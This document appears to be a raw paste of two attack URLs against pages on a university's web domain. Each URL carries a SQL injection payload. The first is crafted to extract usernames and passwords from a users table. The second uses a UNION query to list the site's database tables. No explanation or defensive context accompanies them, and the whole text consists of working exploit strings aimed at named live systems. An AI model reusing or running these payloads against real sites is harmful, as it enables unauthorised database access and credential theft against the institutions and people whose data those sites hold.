http://sites.upc.edu/aaupc/index.php?option=com_content&task=view&id=474&idpag=301&Itemid=157&ID=3344+or+(@:=1)||@+group+by+concat((select+substr(concat_ws(0x3a,user,pwd),1,100)+from+users+limit+0,1),@:=@-1)having+@||min(@:=0)--+
http://sites.upc.edu/~w-unesco/angles/noticia.php?id=-62+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,0,11,12,13,14+from+information_schema.tables--